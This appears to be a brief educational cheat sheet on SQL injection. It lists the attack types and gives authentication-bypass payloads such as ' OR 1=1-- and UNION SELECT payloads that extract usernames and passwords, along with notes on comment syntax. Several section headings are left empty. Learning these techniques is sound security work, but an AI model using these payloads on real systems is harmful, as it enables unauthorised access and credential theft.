Sql Injection
Types of SQL Injection
- In-band SQL injection
- Error Based
- Union
- Boolean
- Time Based
- Sleep in SQL
- Out of Band
- DNS communication / Ping Query
Examples
Common SQL Injections
Blind Boolean
105 OR 1=1
' OR '1
' OR 1=1
" OR 1=1
'OR 1=1--
'OR 1=1;--
SELECT * FROM logins
WHERE username='tom'
AND password = ''OR 1=1;--';
"OR 1=1--
admin' AND 1;--
admin' or '1'='1
admin' OR '1'='1'-- -
SELECT * FROM logins
WHERE username='tom'
AND password = 'admin' OR '1'='1'-- -';
1'or'1'='1
SELECT * FROM logins
WHERE username='tom'
AND password = '1'or'1'='1';
admin');--
Union Clause
A UNION statement can only operate on SELECT statements with an equal number of columns.
ERROR 1222 (21000): The used SELECT statements have a different number of columns
Solution
SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- '
or,
SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords
UNION SELECT username, 2, 3, 4 from passwords-- '
Database Specific Injections
Data/Base/embedded/sqlite
MySQL
Tools
Database Specific
MySQL
Tools
Comments in sqli
Note: In SQL, using two dashes only is not enough to start a comment. So, there has to be an empty space after them, so the comment starts with (-- ), with a space at the end. This is sometimes URL encoded as (--+), as spaces in URLs are encoded as (+). To make it clear, we will add another (-) at the end (-- -), to show the use of a space character.